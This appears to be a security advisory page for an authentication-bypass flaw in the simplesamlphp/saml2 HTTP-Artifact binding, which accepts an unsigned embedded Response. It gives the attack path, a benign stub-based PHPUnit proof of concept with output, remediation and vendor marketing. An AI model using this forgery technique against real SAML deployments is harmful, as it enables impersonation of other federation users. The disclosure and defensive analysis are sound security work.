Summary
SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)
CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that HTTPArtifact::receive() verifies the embedded SAML Response using the IdP metadata signing keys. The current implementation (master 31c72c1d, released v6.2.3) reaches that verification only when the embedded Response is signed:
// src/Binding/HTTPArtifact.php (receive())
if (!$samlResponse->isSigned()) {
return $samlResponse; // ← unsigned embedded Response returned UNVERIFIED
}
return $this->verifyMessageSignature($samlResponse, $idpMetadata); // only runs when signed
An attacker who controls one trusted-federation IdP therefore returns a validly-signed outer ArtifactResponse (signed with their own real key, which passes the mandatory outer check) that wraps an unsigned <samlp:Response> whose <Issuer> names a different IdP. isSigned() is false, so verifyMessageSignature() never runs and the forged Response is returned as successfully received. Additionally, even on the signed path verifyMessageSignature() verifies against the artifact issuer's metadata keys but never asserts that the embedded Response's <Issuer> equals the artifact issuer, the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.
This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit dac0b4b6 / #419), and a regression introduced by the #414 refactor (v6.2.2), the official CVE fix in v6.2.1 did not contain this short-circuit.
Affected component
src/Binding/HTTPArtifact.phpreceive()line 206-207:if (!$samlResponse->isSigned()) { return $samlResponse; }, the bypassed guard.receive()line 210:verifyMessageSignature($samlResponse, $idpMetadata), only reached when signed.verifyMessageSignature()lines 230-286: verifies against$idpMetadata(artifact-issuer keys); nogetIssuer()comparison to bind the embedded Response to the artifact issuer.verifyArtifactResponseSignature()line 300-302:if ($artifactResponse->isSigned() !== true) throw, the OUTER response is mandatorily signed; the asymmetry with the embeddedreturn-on-unsigned is the defect.
- Regression commit 3b589636 (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix dac0b4b6 (#419) left the short-circuit unchanged.
- Affected: v6.2.2, v6.2.3 (latest), and master. v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.
Reachability (hop-by-hop, guards named)
Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid saml20-idp-remote metadata, real signing key, an ArtifactResolutionService). Goal: impersonate admin@IdP-A.
- Attacker hits the SP artifact endpoint with
SAMLartencodingsourceId = sha1(IdP-B entityID), line 137-138, no guard. getMetaDataConfigForSha1→$idpMetadata= IdP-B, line 144. Guard: metadata exists → satisfied (IdP-B trusted).- SP resolves against IdP-B's ARS (attacker's endpoint), line 176-182.
- IdP-B returns a validly-signed
ArtifactResponse;verifyArtifactResponseSignature(...,IdP-B)passes (signed by the artifact issuer), line 193/300. Guard satisfied by the attacker (they ARE the artifact issuer). - The signed outer wraps an unsigned
<samlp:Response Issuer=IdP-A>with an assertion foradmin@IdP-A, line 195, no guard on embedded content. if (!$samlResponse->isSigned()) return $samlResponse;→ TRUE → returns the forged Response unverified, line 206-207.verifyMessageSignature(210) never runs; there is no issuer==artifact-issuer check anywhere inreceive().
Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.
Root cause
The #414 refactor moved embedded-Response verification into receive() but gated it on isSigned() (mirroring if (!isSigned()) return instead of the outer's if (isSigned() !== true) throw), and the dac0b4b6 key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on receive() to have authenticated it, exactly the reliance this gap defeats.
Proof of concept (executed, benign)
The PoC exercises the real shipped private methods verifyArtifactResponseSignature() andverifyMessageSignature() via reflection, exactly as the maintainers' owntests/SAML2/Binding/HTTPArtifactTest.php does, and reproduces receive()'s verbatim
post-resolution decision (lines 195/206-210) against real HTTPArtifact internals. It models a
validly-signed outer ArtifactResponse from the artifact issuer IdP-B (attacker-controlled,
its signing cert in metadata) wrapping an unsigned embedded <samlp:Response> claimingIssuer=IdP-A. No destructive payload; the marker is the SKIPPED verification.
Run: vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php
// tests/SAML2/Binding/PocArtifact001Test.php (namespace SimpleSAML\Test\SAML2\Binding)
// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:
$idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[
'type' => 'X509Certificate', 'signing' => true, 'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]]], '[idp-b]');
$ha = new HTTPArtifact();
// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false);
$embedded->method('getSignature')->willReturn(null);
$embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called'));
// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer);
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ---- verbatim HTTPArtifact::receive() post-resolution logic ----
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory, passes vs IdP-B
$samlResponse = $verifiedOuter->getMessage();
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) { $received = $samlResponse; } // <-- BYPASS (line 206-207)
else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); }
self::assertFalse($samlResponse->isSigned());
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED');
self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified');
// Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing.
$threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; }
self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response');
Observed benign output:
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response
=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
OK (1 test, 5 assertions)
The five assertions prove: the outer ArtifactResponse verifies against the artifact issuer (IdP-B)
metadata; the embedded Response is unsigned; verifyMessageSignature() is skipped; the unsigned
embedded Response is returned as received; and the real verifier rejects that same unsigned
message, so the isSigned() short-circuit is the sole reason it is accepted.
(Environment note: composer install needed a platform.composer-plugin-api=2.9.0 override with--no-plugins to resolve xml-common's installer-plugin constraint under Composer 2.8.6; no code
under test was modified.)
Adversarial re-read (what I tried to refute it with)
- Strongest objection (why CONDITIONAL, not CONFIRMED): the downstream SimpleSAMLphp SP module may route
receive()'s output through the response/assertion processor, which requires either the response signed or every assertion signed (src/Response/Processor.php:155-162), that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will not impose that requirement; (ii) the CVE was assigned against this library anddac0b4b6's stated contract is thatreceive()authenticates the embedded Response, a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in normal artifact operation, so the missing verification is live, not dead code. - Not a false positive on the code: the short-circuit (206-207), the absent issuer binding, and the outer
throwvs embeddedreturnasymmetry (300 vs 206) are verbatim in master and released v6.2.3.
Confidence
High at the library-contract level, the incomplete-fix is code-verified and the PoC fires against
the real shipped verification methods. CONDITIONAL only for the end-to-end auth bypass (requires the
HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded
message, the binding's designed trust model). Reported to the maintainers as a gap in their owndac0b4b6 fix, present in the latest release v6.2.3.
Proof-of-Concept source (PocArtifact001Test.php)
<?php
declare(strict_types=1);
namespace SimpleSAML\Test\SAML2\Binding;
use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionMethod;
use SimpleSAML\Configuration;
use SimpleSAML\SAML2\Binding\HTTPArtifact;
use SimpleSAML\SAML2\XML\samlp\ArtifactResponse;
use SimpleSAML\SAML2\XML\samlp\Response;
use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock;
/**
* PoC, SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.
*
* HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):
* $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory
* $samlResponse = $artifactResponse->getMessage();
* ...
* if (!$samlResponse->isSigned()) {
* return $samlResponse; // <-- EMBEDDED: returned UNVERIFIED
* }
* return $this->verifyMessageSignature($samlResponse, $idpMetadata);
*
* This test reproduces that exact post-resolution decision against real HTTPArtifact
* private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows
* that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the
* artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO
* signature verification of that embedded Response.
*/
final class PocArtifact001Test extends TestCase
{
private function idpBMetadata(): Configuration
{
// "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata,
// selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)
return Configuration::loadFromArray([
'entityid' => 'https://idp-b.example/',
'keys' => [[
'type' => 'X509Certificate',
'signing' => true,
'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]],
], '[idp-b]');
}
private function call(HTTPArtifact $ha, string $method, ...$args): mixed
{
return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args);
}
public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void
{
$idpB = $this->idpBMetadata();
$ha = new HTTPArtifact();
// --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. ---
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false); // attacker omits the embedded signature
$embedded->method('getSignature')->willReturn(null);
// If receive() ever tried to cryptographically verify this, it would blow up here:
$embedded->method('verify')->willThrowException(
new Exception('POC-FAIL: embedded Response->verify() was called, short-circuit absent'),
);
// --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer); // valid signature under IdP-B's key
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====
// 1. OUTER signature check, mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB);
self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata');
// 2. Unwrap the embedded message.
$samlResponse = $verifiedOuter->getMessage();
// 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) {
$received = $samlResponse; // <-- BYPASS: returned unverified
} else {
$verifyMessageSignatureCalled = true;
$received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
}
// ==================================================================================
// OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification.
self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature');
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)');
self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified');
// NEGATIVE CONTROL: the short-circuit is load-bearing, the real verifier CANNOT accept the
// unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it.
$threw = false;
try {
$this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
} catch (\Throwable $e) {
$threw = true;
}
self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response, only the short-circuit accepts it');
fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response "
. "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n");
}
private const MINIMAL_SIG =
'<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>'
. '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
. '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
. '<ds:Reference URI="#_x"><ds:Transforms>'
. '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>'
. '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>'
. '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>';
private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature
{
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML(self::MINIMAL_SIG);
return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement);
}
}
Proof-of-Concept source (poc_output.txt)
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
Configuration: /home/aoc/CVEs/saml2/phpunit.xml
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
Time: 00:00.036, Memory: 22.00 MB
[30;42mOK (1 test, 5 assertions)[0m
Impact
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
CVE-2026-110782 has a CVSS score of 8.7 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.2.4, 7.0.0-rc2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
In receive(), make embedded-Response authentication mandatory and issuer-bound, mirror the outer pattern: after line 195, reject unless $samlResponse->isSigned() and verifyMessageSignature() succeeds and $samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid'). Replace if (!isSigned()) return with if (isSigned() !== true) throw.
Frequently Asked Questions
- What is CVE-2026-110782? CVE-2026-110782 is a high-severity improper authentication vulnerability in simplesamlphp/saml2 (composer), affecting versions >= 6.2.2, <= 6.2.3. It is fixed in 6.2.4, 7.0.0-rc2. The application does not adequately verify the identity of a user, device, or process before granting access.
- How severe is CVE-2026-110782? CVE-2026-110782 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of simplesamlphp/saml2 are affected by CVE-2026-110782? simplesamlphp/saml2 (composer) versions >= 6.2.2, <= 6.2.3 is affected.
- Is there a fix for CVE-2026-110782? Yes. CVE-2026-110782 is fixed in 6.2.4, 7.0.0-rc2. Upgrade to this version or later.
- Is CVE-2026-110782 exploitable, and should I be worried? Whether CVE-2026-110782 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-110782 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-110782?
- Upgrade
simplesamlphp/saml2to 6.2.4 or later - Upgrade
simplesamlphp/saml2to 7.0.0-rc2 or later
- Upgrade